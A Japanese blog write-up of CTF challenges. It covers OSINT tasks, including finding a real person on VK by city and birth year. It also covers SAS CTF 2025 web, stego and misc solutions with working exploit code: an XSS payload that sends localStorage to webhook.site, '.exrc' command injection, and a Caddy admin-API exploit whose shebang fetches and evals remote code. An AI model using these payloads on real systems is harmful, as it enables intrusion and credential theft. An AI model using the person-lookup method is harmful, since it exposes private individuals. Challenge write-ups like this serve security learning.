同プラットフォームのトップページに戻り、Awardedな入札から 1190/2023/MAFWR/DGAWRDK-94- Recall - 1 (先程のページから得られたTender No.)で検索する。以下のメールアイコンを押下すると、GOLDEN SANDS TRANSPORT SERVICES LLCなる会社が我々の探していた企業であるとわかった。この企業のサイトを探すと、CEOの名前がわかる。

[military 359] object (120 solves)

69.216246, 33.378242 には大きな構造物が存在する。この構造物のプロジェクト番号および、構造物の名称(固有名詞)を 現地語 で答えよ。

Flag形式: Diver25{プロジェクト番号名称}(例: Diver25{955АБорей-А})

Googleマップで見に行く。ロシアだ。確かに白くて巨大な何かが存在しており、南東側に大きめの構造物が、北西側にそれよりは少し小さい構造物があるけれども、今回問われているのは後者だ。近くにOlenya Guba Naval Baseなるものが見えるのも怪しい。これでググるとデイリーメールのなかなか怪しげな記事が見つかるけれども、記事中で例の白い構造物が Covered docks for deep-diving submarines とされていることがわかる。

Claudeにこれらのワードを翻訳させつつググっていると、「"Оле́нья губа" док для подводных лодок」というクエリでこれらしきものについてまとめられているWebページを見つけた。翻訳して読むと、問題文で示されている大きめの方の構造物はПД-72であるとわかる。あまり裏取りができていなかったけれども、5回までは提出できるということで以下のフラグを試したところ、通った。確証を持たずに提出するのは理想的ではないが、これは競技なので…

Diver25{13560_ПД-72}

[military 499] worker (12 solves)

"object" の問題で示された構造物で仕事をしていた1964年生まれのある人物は、Akhtubinskに居住しているとされる。 この人物が1987年~2009年にかけて勤務していた組織のOGRNを答えよ。

Flag形式: Diver25{1234567890123}

Akhtubinskのロシア語表記はАхтубинскだとWikipedia等からわかる。わざわざ何年生まれだとか、いつからいつまである組織に勤務していたとか言及しているあたり、それを確認できるようになっているのだろうなあと思う。つまり、たとえばFacebookやLinkedInのようなSNS、あるいはロシア国内で使われているその他のサービスにアカウントがあり、検索や個人ページでの情報の参照ができるのではないかと考えた。

ロシアのSNSといえばVKだ。人物検索では都市や生まれた年でも検索できるようになっている。それぞれАхтубинскと1964年に設定してひとりひとり見ていくと、ちょうどひとりだけ1987年から2009年にかけてある組織で勤務していたとプロフィールに書かれている人物を見つけた。この組織はOpenSanctions登録されており、ここからOGRNがわかった。

Diver25{1023000507936}

[report 300+100] unknown_aircraft (1 solve)

これらは2025年5月10日 19:00UTC ごろに Flightradar24 上で確認された航空機の様子です。 画面上で選択されている航空機(赤いアイコンの航空機)について、公開情報から分かる範囲で、調査を行って説明してください。 記述に関する詳細は添付しているルール(PDF)を参照してください。

これが、最初に述べた記述式の問題であった。渤海上でKL61CEP, B352WHPB, KL61WHPDといったコールサインを持つ航空機が選択されており、これらについて調査しろということらしい。この問題のルールとして、まず基本的なものとして以下のような項目があった。

  • CTFの終了後に採点が行われる
  • プレイヤーの判断とソースを併記せよ
  • ソーシャルメディアの投稿はソースとはみなさない

採点にあたって運営が定めた要素がいくつかあり、それを満たせば加点が行われる。各要素には点数が設定されており、すべて満たすことができれば合計で300点を得られる。さらに、ボーナス点として運営が把握できていなかったものの事実だと確認できた事項がある、かつそれが問題上重要である場合には、300点とは別に100点まで加算される。

この問題がオープンされた時点でこれ以外のすべての問題を解くことができていたため、6人のプレイヤー全員で調査に取り組んでいた。ここではその詳しい手法や調査の結果については述べない*3が、頑張って調査し、頑張ってまとめて、無事に満点の300点およびボーナス点の100点が付与された。基本的には加点方式であろうと考えて得られた情報を書けるだけ書いたが、ソースとして挙げたURL等を除くと5000文字を超えており、若干採点者への申し訳なさを感じた。

*1:BunkyoWesternsのメンバー5名にProject Sekaiのsahuangさんも参加してのチームだったので、今年も引き続きこのようなチーム名とした

*2:チーム名からちょっと離れてるけど、単にプロセカで一番好きなキャラだから… なお、ほかのメンバーは皆もっと離れていた

*3:気が向いたら書くかも

SAS CTF 2025 Quals writeup

5/24 - 5/25という日程で開催された。チームBun*1として参加して8位。上位8チームは10月にタイ・カオラックで開催される決勝に招待されるらしい。ただ、旅費・宿泊費が運営から提供されるのはさらに上位のごく一部であり、我々には支給されず悲しい*2。Webがいずれも面白かった。web2.5と自称するBurmaldaやweb3のrevであるところのit Sovaも解きたかったなあ。

どうでもいい話だけれども、普段はWindows + WSL2でCTFを解いているところ、最近実機のLinuxノートがほしいなあと思って購入*3・セットアップ*4したので、早速その実戦投入をしていた。便利だねえ。


[Web 50] Drift Chat (86 solves)

"Fifty percent of something is better than a hundred percent of nothing." -- Vin Diesel, probably

(問題サーバのURL)

添付ファイル: web-drift.tar.gz

ソースコードがそこそこの規模の割にCTFが始まってすぐからガンガン解かれており、なんかやらかしてるっぽいなあと思いつつ問題に取り組み始めた。さて、チャットアプリが与えられている。ユーザ登録・ログイン後に次のようにチャットルームを作成できるようになるが、この際に特定のユーザしか入室できないよう制限できる。たしかに、ほかの人が作ったチャットルームをクリックしても何も起こらない。

ソースコードを確認していく。init.sql を確認すると、次の記述が見つかる。best chat eva というチャットルームにフラグが投稿されているけれども、このチャットルームには kek もしくは admin というユーザしか入室できない。これらのユーザはランダムなパスワードであり、突破は非常に難しい。

INSERT INTO users (username, password) VALUES ('kek', substring(md5(random()::text) from 0 for 16));
INSERT INTO users (username, password) VALUES ('admin', substring(md5(random()::text) from 0 for 16));
INSERT INTO chats (name, allowed_users) VALUES ('best chat eva', '{"kek", "admin"}');
INSERT INTO messages (chat_name, author, content) VALUES ('best chat eva', 'admin', 'SAS{FLAG}');

solve数の多さから、なにかわかりやすい致命的なバグがあるのだろうと考えた。たとえば認可処理の実装にミスがあり、本来は入室できないチャットルームのコンテンツを見ることができたりするのではないか。早速次のようなコマンドを実行して、本来見ることができないはずの best chat eva というチャットルームの会話を得ようとする。

curl 'https://(省略)/api/chat/get' \
…
  -H 'content-type: application/json' \
  -b 'token=…' \
…
  --data-raw '{"chat":"best chat eva"}'

なんと、これが通ってしまった。

SAS{c1u7ch_k1ck_dr15t_ch4t_b2f771}

[Stego 325] Lirili Larila (26 solves)

Please rate up my recent artwork made in a 10-hour lungo-infused drawing session

添付ファイル: lirili.gif

まさかのステガノ問。Minecraft問も去年に引き続き複数問が出ていたし、なんだか変な問題も混じってくるCTFだ。さて、この問題では爆発しながらサボテン象が現れるアニメーションGIFが与えられている。普通に見た感じでは何も違和感がない。

私が問題を見た時点で、つちりゅうさんが謎の手法で以下のようにフラグの一部を抜き出していた。いわく、StegoVeritasというツールに投げたところこれを吐き出したということだった。

たしかに、オプションを付けずにこのGIFをStegoVeritasに投げると、先程のフラグの一部が出力される。オプションを付け外ししてどういう方法で抜き出されたか確認すると、-colorMap 227 でこの画像が出力されるとわかった。このオプションの説明は次の通り。コードを読むと、パレットを編集していることがわかる。

  -colorMap [N [N ...]]
                        Analyze a color map. Optional arguments are colormap
                        indexes to save while searching

なるほど、出力されると同じ色になるけれども、実のところパレットの番号が異なるという形で巧妙にフラグの一部を隠していたらしい。自分でもやってみよう。GIFのフォーマットを調べつつ、次のようなコードでパレット部分を破壊する。

import os
with open('stego.gif', 'rb') as f:
    s = f.read()
with open('stego_.gif', 'wb') as f:
    f.write(s[:0xd])
    f.write(os.urandom(768))
    f.write(s[0xd+768:])

実行すると、たしかにいい感じにフラグの一部が浮き出ている画像ができた。

では、残りのパーツはどこにあるのだろう。画像の幅・高さやフレーム数の割にはファイルサイズが10MB程度と大きいので、68枚というフレーム数がダミーで実際はもっと多いのではないか、使われていないデータがあるのではないか、フレーム間のウェイトが実は微妙に違っていてモールス信号や0/1になっているのではないか、LSBに仕込んでいるのではないか…と色々考える*5もののどれも不発だった。

ファイルサイズの大きさについて話す中で、つちりゅうさんが「ローカルカラーテーブル」について言及する。これは全フレームで共通のパレットとは別に、個別のフレームで別のパレットを設定できるというものだ。ImHexで眺めてみると、今回のアニメーションGIFはどのフレームもローカルカラーテーブルを使っていることがわかる。ここになにか仕込んでいるのではないか。

ローカルカラーテーブルを壊そう。各パレットの直前には幅・高さ・フラグが並んでいるけれども、どのフレームもその値は変わらないので、これを目印にローカルカラーテーブルの場所を把握する。

import os
with open('stego.gif', 'rb') as f:
    s = f.read()

i = s.find(b'\x80\x01\x80\x01\x87')
while i != -1:
    j = i + 5
    s = s[:j] + os.urandom(768) + s[j+768:]
    i = s.find(b'\x80\x01\x80\x01\x87', i + 1)

with open('stego_.gif', 'wb') as f:
    f.write(s)

出力されたGIFを ffmpeg -i stego_.gif result3/%02d.png のようにしてフレームごとに分ける。すると、次のようにフラグのすべてのパーツが得られた。

leetで読みづらい上に長かった。

SAS{50m3_3leph4n7s_c4n_h1d3_7h31r_53cr3ts_1n_l0c4l_p4ll3tes}

わざわざノーヒントのステガノグラフィ問題を出すなよと思っていたけれども、アニメーションGIFという使い古されたフォーマットでLocal Color Tableに仕込むという新規性を出してくるという点に感心してしまってちょっと悔しい。

[Misc 338] WX Underground (25 solves)

Decades ago, the great city of Cockbit was wiped from the map of our world. Ever since, nestled amid the forsaken stones of the once-mighty city, a hidden corridor stirs to life for a day in a year. What lies at its end defies the understanding of conventional science. Those few who have returned speak of IT with ceaseless awe.

Only true hero can surpass all the obstacles and emerge victory over this dangerous creature. If only we knew who can instill hope to the hearts of oppressed...

(InstancerのURL)

添付ファイル: wx.zip

見覚えがある名前だなあ。全チーム共用でなくいちいち新たにコンテナを立てられるinstancerを用意しているあたり、環境を派手に破壊したり他チームに影響が出たりする解法が想定されているだろう。

さて、私がこの問題を見る前にすでにsugiさんが少しその内容を確認しており、私が以前解いたKalmarCTF 2025のRWX - Goldと似ている、というよりもそれを魔改造したようなものだから私が解けとDiscordでメンションが送られていた。

ソースコードが与えられている。主要な箇所は次の通り。RWX - Goldとの相違点として、次のようなものが挙げられる:

  • /read というエンドポイントが消えており、ファイルの読み出しができなくなっている
  • 実行できるOSコマンドの長さが3文字以下から4文字以下と制限が緩められている。代わりに、| は利用できない
  • なぜかUbuntuからAlpine Linuxになっている
  • 目的が /tung tung tung tung tung sahur の実行になっている

/read が消えているのがやや面倒くさそうだ。

from flask import Flask, request, send_file
import subprocess

app = Flask(__name__)

# Inspired by and derived from https://ctftime.org/task/30126
@app.route('/write', methods=['POST'])
def write():
    filename = request.args.get('filename', '')
    content = request.get_data()
    try:
        with open(filename, 'wb') as f:
            f.write(content)
            f.flush()
        return 'OK'
    except Exception as e:
        return str(e), 400

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 4:
        return 'Command too long', 400
    if "|" in cmd:
        return 'No pipi racing this time :(', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=7331)

docker exec -it … sh でシェルを起動し、タブを押して実行できそうなファイルの一覧を得る。とりあえず4文字のコマンドを探すと、次のような一覧が得られた。

>>> [x for x in s if len(x) == 4]
['2to3', 'mdev', 'mesg', 'more', 'arch', 'beep', 'nice', 'ntpd', 'ping', 'pip3', 'chvt', 'pmap', 'comm', 'cpio', 'pwdx', 'date', 'rdev', 'read', 'diff', 'echo', 'eval', 'exec', 'exit', 'expr', 'find', 'fold', 'free', 'fsck', 'shuf', 'size', 'sort', 'gcov', 'stat', 'stty', 'grep', 'sync', 'gzip', 'halt', 'hash', 'tail', 'head', 'help', 'test', 'time', 'trap', 'tree', 'ifup', 'true', 'init', 'type', 'ipcs', 'uniq', 'jobs', 'kill', 'unxz', 'last', 'less', 'link', 'wait', 'wget', 'lsof', 'lzma', 'lzop', 'zcat', 'zcip']

2to3pip3 といったPython関連のものが怪しく見える。KalmarCTFと同じアプローチで、OSコマンド実行時に存在しないファイル、たとえば設定ファイルを参照していないか確認してみよう。

docker-compose.ymlprivileged: true を加え、root ユーザで strace を入れる。もし書き込み可能な場所(/home/patapim//tmp/ の下)にあるファイルを参照していれば万々歳だけれども、残念ながら 2to3pip3 も次のように存在しないディレクトリやその下にあるファイルを参照しようとしており、今回はディレクトリを作成できないという制約があるために使えなかった。

/app $ strace 2to3 2>&1 | grep ENOENT | grep home
stat("/home/patapim/.local/lib/python3.12/site-packages", 0x7ffe7cd5d170) = -1 ENOENT (No such file or directory)
/app $ strace pip3 2>&1 | grep ENOENT | grep home
stat("/home/patapim/.local/lib/python3.12/site-packages", 0x7ffcc833cca0) = -1 ENOENT (No such file or directory)
stat("/home/patapim/.pip/pip.conf", 0x7ffcc833d670) = -1 ENOENT (No such file or directory)
stat("/home/patapim/.config/pip/pip.conf", 0x7ffcc833d670) = -1 ENOENT (No such file or directory)

すべての実行可能なコマンドの一覧を見ていると、vi が目に入った。そんな便利なコマンドが使えるんかい!! これについても strace でなにか面白いファイルを参照しようとしていないか確認したところ、.exrc というファイルを読もうとしていることがわかった。これだ。

/app $ strace vi 2>&1 | grep ENOENT
stat("/home/patapim/.exrc", 0x7ffd8871f5b0) = -1 ENOENT (No such file or directory)

.exrcvi のいろいろな設定ができるのだけれども、たとえば !ls のようにしてOSコマンドの実行もできてしまう。ということで .exrc を使えばOSコマンドが実行し放題だけれども、どうやって /read なしにその実行結果を得るか。実行結果をBase64したファイルをホームディレクトリ下に作成すればよい。ls ~ でその結果が得られるから。

import httpx
with httpx.Client(base_url='https://(省略)/') as client:
    client.post('/write?filename=/home/patapim/.exrc', data='''
!touch /home/patapim/$(/tung tung tung tung tung sahur | base64 -w0)
'''.strip())
    r = client.get('/exec?cmd=vi')
    print(r.text)
    r = client.get('/exec?cmd=ls ~')
    print(r.text)

実行するとフラグが得られた。

$ python3 s.py 
Command 'vi' returned non-zero exit status 1.
U0FTe2hhaGFfdzFsZGM0cmRfaW5qM2N0aTBuX2cwZXNfYnJyX2Jycl9wNHRhcDFtfQ==
SAS{haha_w1ldc4rd_inj3cti0n_g0es_brr_brr_p4tap1m}

[Web 437] Bubble Tea Diaries (16 solves)

An old duke is having a walkout near London's Tower. He sees a dog lying by the path. - How do you do? - he asks. - I do how how. - it answers.

(問題サーバとadmin botのURL)

添付ファイル: server.zip

いつの間にか追加されており、kanonさんに教えてもらわなければ見逃すところだった。admin botがいるあたり、XSSかそれに類する脆弱性を使う問題なのだろうと推測する。たまにそうでないこともあるけど。

botの重要な箇所は次の通り。攻撃対象のサーバはスレッドの一覧ができない掲示板アプリらしいけれども、adminがフラグを含んだスレッドを作成し、それからユーザが報告したURLにアクセスしてくれるらしい。このアクセス先は、問題サーバで立てられたスレッドに限られる。

        with open('/app/flag.txt', 'r') as f:
            flag = f.read().strip()

        post_text_field = WebDriverWait(driver, 10).until(
            expected_conditions.presence_of_element_located((By.CLASS_NAME, "post-textarea"))
        )
        time.sleep(0.5)
        post_text_field.clear()
        post_text_field.send_keys(flag)
# …
def visit(url: str) -> Tuple[bool, str]:
    if not url.lower().startswith(f"{SERVICE_HOST}/post/"):
        return False, "No way I'm visiting that, only posts!"

    driver = run_chrome()
    credentials = load_credentials()

    try:
        if not login(driver, credentials):
            register(driver)
            save_credentials(credentials)

        driver.get(url)
        write_opinion(driver)
        time.sleep(0.5)
    except Exception:
        return False, f"Bot failed:\n{traceback.format_exc()}"
    finally:
        driver.quit()

    return True, "Bot job has finished successfully!"

投稿時にはBBコードも使えるらしい。その変換は自前で実装されているけれども、画像周りが大変怪しい処理になっている。alt 等のためかどうかはわからないけれども、任意の属性が仕込めるようになっている。

    def _handle_image(self, text):
        simple_pattern = r'\[img\](https?://[^"\'\[\]<>]+?\.(?:jpg|jpeg|png|gif))\[/img\]'
        text = re.sub(simple_pattern, 
                      r'<img src="\1" alt="User posted image" style="max-width:100%;">', 
                      text)

        dim_pattern = r'\[img=(\d+),(\d+)\](https?://[^"\'\[\]<>]+?\.(?:jpg|jpeg|png|gif))\[/img\]'
        text = re.sub(dim_pattern, 
                      r'<img src="\3" width="\1" height="\2" alt="User posted image" style="max-width:100%;">', 
                      text)

        attr_pattern = r'\[img ([^\]]+)\](https?://[^"\'\[\]<>]+?\.(?:jpg|jpeg|png|gif))\[/img\]'
        
        def img_attr_replacer(match):
            attrs_str = match.group(1)
            img_url = match.group(2)
            return f'<img src="{img_url}" {attrs_str} style="max-width:100%;">'
            
        text = re.sub(attr_pattern, img_attr_replacer, text)
        
        return text

[img onerror=alert(1)]https://example.com/image.jpg[/img] でXSSに持ち込むことができた。CSP等の制限はないし、JWT等は localStorage に保存されていて、Cookieのようにアクセスできるかどうかを気にする必要はまったくない。[img onerror=navigator.sendBeacon(`//webhook.site/(省略)`,JSON.stringify(localStorage))]https://example.com/image.jpg[/img] で、adminとしてログインするために必要な情報を得られた。

得られた情報を使ってadminとなり、自身の投稿を見るとフラグが得られた。

SAS{bl4ck_c47_1n_th3_bl4ck_r0om_d01n_b00m_boom_b00m}

難易度の割になぜかsolve数が少ない問題だった。

[Web 445] Proxy (15 solves)

Nowadays, some kind of connection transitivity is often required. We're quite new to this market, would you mind to check our MVP?

(InstancerのURL)

添付ファイル: web-proxy.tar.gz

これもinstancerが用意されている。暴れろということらしい。ソースコードはシンプルな構成になっている。まず compose.yaml は次の通り。イメージの名前から察するにCaddyが動いているっぽい。buildimage が同時に宣言されているので、見るべきは Dockerfile っぽい。

services:
  caddy:
    build: .
    image: cr.yandex/crptrom4kvc0o44vpcg6/caddy
    ports:
      - 8080:80
    cap_drop:
            - CAP_DAC_OVERRIDE

Dockerfile は次の通り。やはりCaddyを動かしている。なぜわざわざPythonをインストールしているのだろうというのはおいておいて、flag.sh という興味深いファイルがある。パーミッションが削ぎ落とされているので、なんとか実行や読み込みが可能な状態にしなければならなそう。また、もしCaddyが落ちたら再起動するようになっている。

FROM caddy:2.10-alpine

RUN apk add --no-cache \
    python3-dev \
    py3-pip 

WORKDIR /app
COPY index.html ./
COPY Caddyfile ./

RUN chmod 666 /app/index.html

COPY flag.sh /
RUN chmod 0000 /flag.sh

CMD while true; do sh -c 'caddy run --config /app/Caddyfile'; done

flag.sh は次の通り。これを実行したり読み込んだりできれば勝ちだ。

#!/bin/sh


echo -e '\t\tSAS{FLAG}';

Caddyfile は次の通り。/example.com:8000/hoge にアクセスすると http://example.com:8000/hoge の内容を返すというようなプロキシになってくれるようだ。SSRFでなんとかするのだろうなあと考える。ただ、どこに? という問題があるし、それでRCEにまで繋げられるのかと思う。

:80 {
    @stripHostPort path_regexp stripHostPort ^\/([^\/]+?)(?::(\d+))?(\/.*)?$

    map {http.regexp.stripHostPort.2} {targetPort} {
        "" 80
        default {http.regexp.stripHostPort.2}
    }

    map {http.regexp.stripHostPort.3} {targetPath} {
        "" /
        default {http.regexp.stripHostPort.3}
    }

    handle @stripHostPort {
        rewrite {targetPath}

        reverse_proxy {http.regexp.stripHostPort.1}:{targetPort} {
            header_up Host {http.regexp.stripHostPort.1}:{targetPort}
        }
    }

    handle {
        root * ./
        file_server
    }
}

とりあえずなんでもよいのでSSRFする対象がないかと考える。ここで、一旦ほかの問題を見ていたのだけれども、docker ps したときに気になるものを見つけた。2019/tcp を利用しているらしい。TCPとUDPの443はHTTPSだろうけれども、2019/tcp は一般的ではないので気になる。

$ docker ps
CONTAINER ID   IMAGE               COMMAND                   CREATED         STATUS         PORTS                                NAMES
ba00b5c0915a   caddy:2.10-alpine   "caddy run --config …"   6 seconds ago   Up 5 seconds   80/tcp, 443/tcp, 2019/tcp, 443/udp   thirsty_chaplygin

「caddy 2019 port」等でググると、どうやらこれはCaddyが管理用のAPIを提供するポートだとわかった。もちろんHTTPを使うけれども、localhost:2019 でリッスンしているので外部からはアクセスできない。しかし、今回はSSRFができる。試しに /localhost:2019/config/ にアクセスすると、現在適用されているCaddyの設定が得られた。

この機能を使ってなにか悪いことはできないか。Caddyのドキュメントを眺めていると、POST /load というAPIが見つかる。これは Caddyfile やその別表現であるJSONを投げると、なんとその設定を読み込んで置き換えてくれるというものだった。強力すぎる。

以下のスクリプトを書いて、SSRFで POST /load を叩けないか試した。すると、この設定が有効化されたようで、/ にアクセスすると Hello, world! を返すようになった。

import httpx

BASE_URL = 'http://localhost:8080/'

json = {
    "apps": {
        "http": {
            "servers": {
                "hello": {
                    "listen": [":80"],
                    "routes": [
                        {
                            "handle": [{
                                "handler": "static_response",
                                "body": "Hello, world!"
                            }]
                        }
                    ]
                }
            }
        }
    }
}

with httpx.Client(base_url=BASE_URL) as client:
    r = client.post('/localhost:2019/load', json=json)
    print(r.text)

これで、本質的には好きな Caddyfile を書いてRCEに持ち込むという問題になった。しかし、ここからが本番だ。まず考えたのはSSTIに持ち込むというもので、たとえばKalmarCTFのEz ⛳シリーズを参考に次のような設定にすることで、User-Agent から好きなテンプレートをレンダリングさせられる。ただ、その問題である程度調べた際に、これは text/templateを使っているので、色々な情報の取得はできるけれどもRCEに持ち込むのは難しいとわかっていた。うーん。

(repdayo) {
    header Content-Type text/html
    templates
    respond "<!DOCTYPE html><meta charset=utf-8><title>rep</title><body>{args[0]}</body>"
}

:80 {
    root * /
    handle / {
        templates
        import repdayo `User-Agent: {{.Req.Header.Get "User-Agent"}}`
    }
}

ふと、Caddyの機能でなにか chmod してくれるようなものはないかと考えた。os.Chmod で検索すると2ヶ所ほど見つかる。特にリッスン周りのコードで使われているのが気になった。どうやらUNIXドメインソケットでリッスンする際に、たとえば unix//flag.sh|777 のようにしてパーミッションも設定できるようになっているようだ。ただ、{ admin unix//flag.sh|777 } のような設定を読み込ませてみたところ、/flag.sh は上書きされてしまった。それはそう。

/app # ls -la /flag.sh 
srwxrwxrwx    1 root     root             0 May 24 15:27 /flag.sh

悩んでいたところ、いっそのこと cron のようなものの助けを借りて、どこかにファイルを配置したらそれを実行してくれたりしないかというアイデアが思い浮かんだ。

まず「cron のようなもの」については、それそのものは crond がいないのでダメだ。今回のDockerイメージでは、while true; do sh -c 'caddy run --config /app/Caddyfile'; done のように caddy はその絶対パスを指定せずに実行されていることを思い出そう。PATH の問題から、/usr/local/sbin/caddy に配置すると本来のCaddyがいる /usr/bin/caddy よりも優先されて参照される。これだ。ここにシェルスクリプトとして解釈できるテキストを書き込んでしまおう。

任意の場所にファイルを用意するということについては、ログファイルを使えばよい。ありがたいことに mode を使うとパーミッションを指定できて、実行可能にできる。書き込まれている間はファイルがビジーになってしまって実行できないけれども、それは POST /load で再度別の設定を読み込ませて解放させてやればよい。

ただ、書き込む内容が問題だ。調べた限りではログのフォーマットはそこまで自由に操作できない。各行の最初に来るタイムスタンプはある程度フォーマットが自由なので、ここにshebangとして解釈できるペイロードを仕込んでやろう。その後ろに色々いらないテキストも付いてくるけれども、それはコメントアウトさせよう。

    log {
        output file "/usr/local/sbin/caddy" {
            mode 777
            roll_disabled
        }
        format filter {
            request delete
            bytes_read delete
            user_id delete
            duration delete
            size delete
            status delete
            resp_headers delete

            wrap console {
                time_format "#!/usr/bin/python -cprint(1)#"
                level_format "lower"
            }
        }
    }

もうひとつ、/usr/local/sbin/caddy に悪いシェルスクリプトを書き込むと caddy を実行した際にそれが呼び出されるというのはよいけれども、そうさせるために今走っている caddy のプロセスを落とす必要がある。ではどうするか。2019/tcp で動いていたあの管理用のAPIの中に、POST /stop というCaddyを停止させられる便利なものがあった。

ということで、材料が揃った。まず、置き換えるための設定として以下のような Caddyfile がある。SSRFするためのエンドポイントを残しているけれども、これは今紹介した管理用のAPIの POST /stop を叩くためだ。管理画面は localhost:2019 でリッスンしているわけだから、外部からはこれがなければ叩けない。

また、/usr/local/sbin/caddy に書き込まれるシェルスクリプトについては、外部からPythonスクリプトを持ってきて実行するというものになっている。これは __import__('os').system('chmod 777 /flag.sh; cd /; python3 -m http.server 80') を返すようにしていて、これによって /flag.sh にアクセス可能になるし、その後にルートディレクトリからなんでもファイルを取得できるWebサーバも立ち上がる。

{
    admin :2019
}

:80 {
    root * /

    log {
        output file "/usr/local/sbin/caddy" {
            mode 777
            roll_disabled
        }
        format filter {
            request delete
            bytes_read delete
            user_id delete
            duration delete
            size delete
            status delete
            resp_headers delete

            wrap console {
                time_format "#!/usr/bin/python -ceval(__import__('urllib.request').request.urlopen('http://(省略)').read().decode());__import__('time').sleep(3)#"
                level_format "lower"
            }
        }
    }

    @stripHostPort path_regexp stripHostPort ^\/([^\/]+?)(?::(\d+))?(\/.*)?$

    map {http.regexp.stripHostPort.2} {targetPort} {
        "" 80
        default {http.regexp.stripHostPort.2}
    }

    map {http.regexp.stripHostPort.3} {targetPath} {
        "" /
        default {http.regexp.stripHostPort.3}
    }

    handle @stripHostPort {
        rewrite {targetPath}

        reverse_proxy {http.regexp.stripHostPort.1}:{targetPort} {
            header_up Host {http.regexp.stripHostPort.1}:{targetPort}
        }
    }

    handle {
        root * ./
        file_server
    }
}

exploitは次の通り。先程の Caddyfile に相当するJSONを投げて読み込ませ、続いて / にアクセスしてログを書き込ませ、そして /stop でCaddyを「再起動」させるという流れだ。

import httpx

BASE_URL = 'http://(省略)/'

# /usr/local/sbin/caddyに書き込む
json1 = {"admin":{"listen":":2019"},"apps":{"http":{"servers":{"srv0":{"listen":[":80"],"logs":{"default_logger_name":"log0"},"routes":[{"handle":[{"defaults":["{http.regexp.stripHostPort.2}"],"destinations":["{targetPort}"],"handler":"map","mappings":[{"outputs":[80]}],"source":"{http.regexp.stripHostPort.2}"},{"defaults":["{http.regexp.stripHostPort.3}"],"destinations":["{targetPath}"],"handler":"map","mappings":[{"outputs":["/"]}],"source":"{http.regexp.stripHostPort.3}"},{"handler":"vars","root":"/"}]},{"group":"group2","handle":[{"handler":"subroute","routes":[{"group":"group0","handle":[{"handler":"rewrite","uri":"{targetPath}"}]},{"handle":[{"handler":"reverse_proxy","headers":{"request":{"set":{"Host":["{http.regexp.stripHostPort.1}:{targetPort}"]}}},"upstreams":[{"dial":"{http.regexp.stripHostPort.1}:{targetPort}"}]}]}]}],"match":[{"path_regexp":{"name":"stripHostPort","pattern":"^\\/([^\\/]+?)(?::(\\d+))?(\\/.*)?$"}}]},{"group":"group2","handle":[{"handler":"subroute","routes":[{"handle":[{"handler":"vars","root":"./"},{"handler":"file_server","hide":["/app/Caddyfile"]}]}]}]}]}}}},"logging":{"logs":{"default":{"exclude":["http.log.access.log0"]},"log0":{"encoder":{"fields":{"bytes_read":{"filter":"delete"},"duration":{"filter":"delete"},"request":{"filter":"delete"},"resp_headers":{"filter":"delete"},"size":{"filter":"delete"},"status":{"filter":"delete"},"user_id":{"filter":"delete"}},"format":"filter","wrap":{"format":"console","level_format":"lower","time_format":"#!/usr/bin/python -ceval(__import__('urllib.request').request.urlopen('http://(省略)').read().decode());__import__('time').sleep(3)#"}},"include":["http.log.access.log0"],"writer":{"filename":"/usr/local/sbin/caddy","mode":"0777","output":"file","roll":False}}}}}

with httpx.Client(base_url=BASE_URL) as client:
    r = client.post('/localhost:2019/load', json=json1)
    print(r.text)
    r = client.get('/')
    print(r.text)

    r = client.post('/localhost:2019/stop')
    print(r.text)

実行し、/flag.sh にアクセスするとフラグが得られた。

SAS{c4ddy_1s_my_d4ddy_78743533}

[Web 472] Drift Chat Revenge (11 solves)

"Every day you spend drifting away from your goals is a waste not only of that day, but also of the additional day it takes to regain lost ground" -- Vin Diesel, probably

(問題サーバのURL)

添付ファイル: web-drift-revenge.tar.gz

あのDrift Chatが帰ってきた! ということで、作問ミスのためか非常に簡単になってしまっていたDrift Chatのリベンジ問だ。diffは次の通り。return を忘れていたために、入室可能なユーザリストの中にログイン中のユーザが入っていなかった場合でも、403のステータスコードを返すだけで中断せず、以降のチャット内容の取得もそのまま実行し、返してしまっていたということらしい。

adminやkekとしてログインし、なにかやってくれるbotがいるわけではないので、クライアント側でなにかするような問題ではないのだろう。ということで、今回も認可処理のバイパスのような脆弱性を使ってメッセージを盗み見るのだろうと考える。

diff -ur ./internal/service/get_chat.go "../../Drift Chat Revenge/drift-chat/internal/service/get_chat.go"
--- ./internal/service/get_chat.go      2025-05-23 23:52:46.000000000 +0900
+++ "../../Drift Chat Revenge/drift-chat/internal/service/get_chat.go"  2025-05-25 04:49:56.000000000 +0900
@@ -43,7 +43,7 @@
        }
        token := tok[0].Value
        st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
-       if st.Err() != nil {
+       if st.Err() != nil || st.Val() == "" {
                c.AbortWithStatus(403)
                c.Error(st.Err())
                return
@@ -53,6 +53,7 @@
        ok, _ := s.check_is_allowed(ctx, username, req.Chat)
        if !ok {
                c.AbortWithStatus(403)
+               return
        }

        messages, err := s.chat.GetMessages(ctx, req.Chat)

このチャットにはドラフト機能があり、適当なテキストを入力すると次のようにその内容が保存され、表示されるようになっている。メタ読みだけれども、わざわざこんな機能を実装しているのだから、なにか変な実装になっており想定解法ではそれを使うのだろうなあと思う。

docker-compose.yaml を見ると、次のようにPostgreSQLのほかにRedisが2つ立っていることがわかる。PostgreSQLにはユーザ情報やチャットルームの投稿等が保存されている。Redisにはドラフトの情報やセッションIDと結びついたユーザの情報等が保存されている。

2つのRedisはなにか使い方が異なるというわけではなく、go-redisRedis Ringとよばれる機能を使って負荷を分散しているらしい。

db:
    image: postgres:15-alpine
…

  redis1:
    image: redis:7-alpine
…

  redis2:
    image: redis:7-alpine
…

Redisのキーは次のようなものになっている。%s にはユーザ名やセッションIDが入ってくる。ユーザ名にはスラッシュも使えるので悪用できないかなと思うが、特に方法は思い浮かばない。とんでもなく長いキーを投げるとtruncationされるというわけでもなさそうだしなあと思う。

const (
    SessionUsername = "%s/username"
    WrittenNow      = "%s/written_now_chat" // Chat that the person is writing to now
    DraftMessage    = "%s/draft_message"
    ChatWriteList   = "%s/write_list" // Who is writing to the chat now (array)
    Online          = "%s/online"
)

コードを眺めていると、面白いことに気づいた。これはチャットルームを送信するAPIのコードの一部だけれども、送信後にそれまでのメッセージの一覧を返している。このようにチャットルームが持つメッセージを返すのは、それ専用のAPIとこれのふたつだけだ。なにか悪用できないか。

   messages, err := s.chat.GetMessages(ctx, chatName)
    if err != nil {
        c.AbortWithStatus(500)
        c.Error(fmt.Errorf("no messages %s", st.Err()))
        return
    }
// …
    c.JSON(200, getChatResp{Messages: messages})

